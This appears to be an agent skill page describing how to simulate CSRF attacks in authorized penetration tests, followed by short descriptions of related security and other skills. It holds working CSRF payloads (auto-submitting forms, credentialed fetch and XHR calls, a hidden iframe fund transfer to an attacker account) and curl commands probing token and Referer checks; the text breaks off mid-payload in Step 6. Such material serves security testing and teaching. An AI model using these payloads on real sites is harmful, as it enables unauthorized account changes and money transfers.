performing-csrf-attack-simulation
Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.
What this skill does
# Performing CSRF Attack Simulation ## When to Use - During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF - When testing the effectiveness of anti-CSRF token implementations - For validating SameSite cookie attribute enforcement across different browsers - When assessing applications that perform sensitive operations (password change, fund transfer, settings modification) - During security audits of custom authentication and session management mechanisms ## Prerequisites - **Authorization**: Written penetration testing agreement for the target - **Burp Suite Professional**: With CSRF PoC generator functionality - **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`) - **Two browsers**: One authenticated as victim, one as attacker - **Target application**: Authenticated session with valid test credentials - **HTML/JavaScript knowledge**: For crafting custom CSRF payloads > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Workflow ### Step 1: Identify State-Changing Requests Browse the application and identify all POST/PUT/DELETE requests that modify server-side state. ``` # In Burp Suite, review Proxy > HTTP History # Filter for POST/PUT/DELETE methods # Focus on actions like: # - Password/email change # - Fund/money transfers # - Account settings modifications # - Adding/removing users or permissions # - Creating/deleting resources # - Toggling security features (2FA disable) # Example state-changing request captured in Burp: POST /api/account/change-email HTTP/1.1 Host: target.example.com Cookie: session=abc123def456 Content-Type: application/x-www-form-urlencoded [email protected] # Check for anti-CSRF protections: # - CSRF tokens in form fields or headers # - Custom headers (X-CSRF-Token, X-Requested-With) # - SameSite cookie attribute # - Referer/Origin header validation ``` ### Step 2: Analyze Anti-CSRF Token Implementation Test the strength and enforcement of any CSRF protections present. ```bash # Check if CSRF token is present curl -s -b "session=abc123" \ "https://target.example.com/account/settings" | \ grep -i "csrf\|token\|_token" # Test 1: Remove the CSRF token entirely curl -s -X POST \ -b "session=abc123" \ -d "[email protected]" \ "https://target.example.com/api/account/change-email" \ -w "%{http_code}" # Test 2: Send empty CSRF token curl -s -X POST \ -b "session=abc123" \ -d "[email protected]&csrf_token=" \ "https://target.example.com/api/account/change-email" \ -w "%{http_code}" # Test 3: Use a random/invalid CSRF token curl -s -X POST \ -b "session=abc123" \ -d "[email protected]&csrf_token=AAAAAAAAAA" \ "https://target.example.com/api/account/change-email" \ -w "%{http_code}" # Test 4: Reuse an expired/old CSRF token curl -s -X POST \ -b "session=abc123" \ -d "[email protected]&csrf_token=previously_captured_token" \ "https://target.example.com/api/account/change-email" \ -w "%{http_code}" # Test 5: Use User B's CSRF token with User A's session curl -s -X POST \ -b "session=user_a_session" \ -d "[email protected]&csrf_token=user_b_csrf_token" \ "https://target.example.com/api/account/change-email" \ -w "%{http_code}" ``` ### Step 3: Check SameSite Cookie and Header Protections Verify browser-level and header-based CSRF defenses. ```bash # Check SameSite attribute on session cookies curl -s -I "https://target.example.com/login" | grep -i "set-cookie" # Look for: SameSite=Strict, SameSite=Lax, or SameSite=None # SameSite=Lax allows CSRF on top-level GET navigations # SameSite=None; Secure allows cross-site requests # No SameSite attribute: browser defaults to Lax (modern browsers) # Check for Origin/Referer header validation # Send request with no Referer curl -s -X POST \ -b "session=abc123" \ -H "Referer: " \ -d "[email protected]&csrf_token=valid_token" \ "https://target.example.com/api/account/change-email" \ -w "%{http_code}" # Send request with evil Referer curl -s -X POST \ -b "session=abc123" \ -H "Referer: https://evil.example.com/attack" \ -d "[email protected]&csrf_token=valid_token" \ "https://target.example.com/api/account/change-email" \ -w "%{http_code}" # Send request with spoofed Origin curl -s -X POST \ -b "session=abc123" \ -H "Origin: https://evil.example.com" \ -d "[email protected]" \ "https://target.example.com/api/account/change-email" \ -w "%{http_code}" ``` ### Step 4: Generate CSRF Proof-of-Concept with Burp Suite Use Burp's built-in CSRF PoC generator for rapid testing. ``` # In Burp Suite: # 1. Right-click the target request in Proxy > HTTP History # 2. Select "Engagement tools" > "Generate CSRF PoC" # 3. Click "Test in browser" to validate the PoC # Burp generates HTML like: ``` ```html <!-- Auto-submitting CSRF PoC for form-encoded POST --> <html> <body> <h1>Loading...</h1> <form action="https://target.example.com/api/account/change-email" method="POST" id="csrf-form"> <input type="hidden" name="email" value="[email protected]" /> </form> <script> document.getElementById('csrf-form').submit(); </script> </body> </html> ``` ### Step 5: Craft Advanced CSRF Payloads For JSON APIs and other non-standard content types, use advanced techniques. ```html <!-- CSRF for JSON API using form with enctype --> <html> <body> <form action="https://target.example.com/api/account/change-email" method="POST" enctype="text/plain" id="csrf-form"> <input type="hidden" name='{"email":"[email protected]","ignore":"' value='"}' /> </form> <script> document.getElementById('csrf-form').submit(); </script> </body> </html> <!-- CSRF via XMLHttpRequest (requires permissive CORS) --> <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "https://target.example.com/api/account/change-email", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.withCredentials = true; xhr.send(JSON.stringify({"email": "[email protected]"})); </script> <!-- CSRF via fetch API --> <script> fetch("https://target.example.com/api/account/change-email", { method: "POST", credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: "[email protected]" }); </script> <!-- CSRF via image tag (GET-based state change) --> <img src="https://target.example.com/api/account/delete?confirm=true" style="display:none" /> <!-- Multi-step CSRF with iframe --> <iframe style="display:none" name="csrf-frame"></iframe> <form action="https://target.example.com/api/transfer" method="POST" target="csrf-frame" id="csrf-form"> <input type="hidden" name="to_account" value="attacker-account" /> <input type="hidden" name="amount" value="1000" /> </form> <script>document.getElementById('csrf-form').submit();</script> ``` ### Step 6: Test and Validate the CSRF Attack Host the PoC and confirm successful exploitation. ```bash # Start a local web server to host the CSRF PoC cd /tmp/csrf-poc python3 -m http.server 8888 # PoC file structure: # /tmp/csrf-poc/ # index.html <- CSRF PoC page # change-email.html <- Email change CSRF # transfer.html <- Fund transfer CSRF # Testing steps: # 1. Log in to target as victim user in Browser A # 2. Open http://localhost:8888/change-email.html in Browser A # 3. Check if the email was changed without victim's consent # 4. Verify the state change in the application # For SameSite=Lax bypass via top-level navigation: # Use GET-based CSRF with window.open or anchor tag ``` ```html <!-- SameSite=Lax bypass using top-level navigation --> <html> <body> <a href="https://target.example.com/api/settings?action=disable
Related in Security
mac-ops
IncludedComprehensive macOS workstation operations — diagnose kernel panics, identify failing drives, audit launchd startup items, decode wake reasons, triage TCC permission denials, manage APFS snapshots, recover from no-boot. Use for: Mac is slow, slow bootup, won't boot, kernel panic, kernel_task hot, mds_stores CPU, photoanalysisd, cloudd, login loop, gray screen, sleep wake failure, drive failing, IO errors, APFS snapshots eating space, Time Machine local snapshots, Spotlight indexing, launchd, LaunchAgent, LaunchDaemon, login items, TCC permissions, Full Disk Access, Screen Recording denied, Gatekeeper, quarantine, com.apple.quarantine, app is damaged, helper tool, /Library/PrivilegedHelperTools, pmset, wake reasons, dark wake, sysdiagnose, panic.ips, DiagnosticReports, configuration profile, MDM profile, remote diagnostics over SSH.
a11y-audit
IncludedRun accessibility audits on web projects combining automated scanning (axe-core, Lighthouse) with WCAG 2.1 AA compliance mapping, manual check guidance, and structured reporting. Output is configurable: markdown report only, markdown plus machine-readable JSON, or markdown plus issue tracker integration. Use this skill whenever the user mentions "accessibility audit", "a11y audit", "WCAG audit", "accessibility check", "compliance scan", or asks to check a web project for accessibility issues. Also trigger when the user wants to verify WCAG conformance or map findings to a specific standard (CAN-ASC-6.2, EN 301 549, ADA/AODA).
erpclaw
IncludedAI-native ERP system with self-extending OS. Full accounting, invoicing, inventory, purchasing, tax, billing, HR, payroll, advanced accounting (ASC 606/842, intercompany, consolidation), and financial reporting. 413 actions across 14 domains, 43 expansion modules. Constitutional guardrails, adversarial audit, schema migration. Double-entry GL, immutable audit trail, US GAAP.
assess
IncludedAssesses and rates quality 0-10 across multiple dimensions (correctness, maintainability, security, performance, testability, simplicity) with pros/cons analysis. Compares against project conventions and prior decisions from memory. Produces structured evaluation reports with actionable improvement suggestions. Use when evaluating code, designs, architectures, or comparing alternative approaches.
spring-boot-security-jwt
IncludedProvides JWT authentication and authorization patterns for Spring Boot 3.5.x covering token generation with JJWT, Bearer/cookie authentication, database/OAuth2 integration, and RBAC/permission-based access control using Spring Security 6.x. Use when implementing authentication or authorization in Spring Boot applications.
code-hardcode-audit
IncludedDetect hardcoded values, magic numbers, and leaked secrets. TRIGGERS - hardcode audit, magic numbers, PLR2004, secret scanning.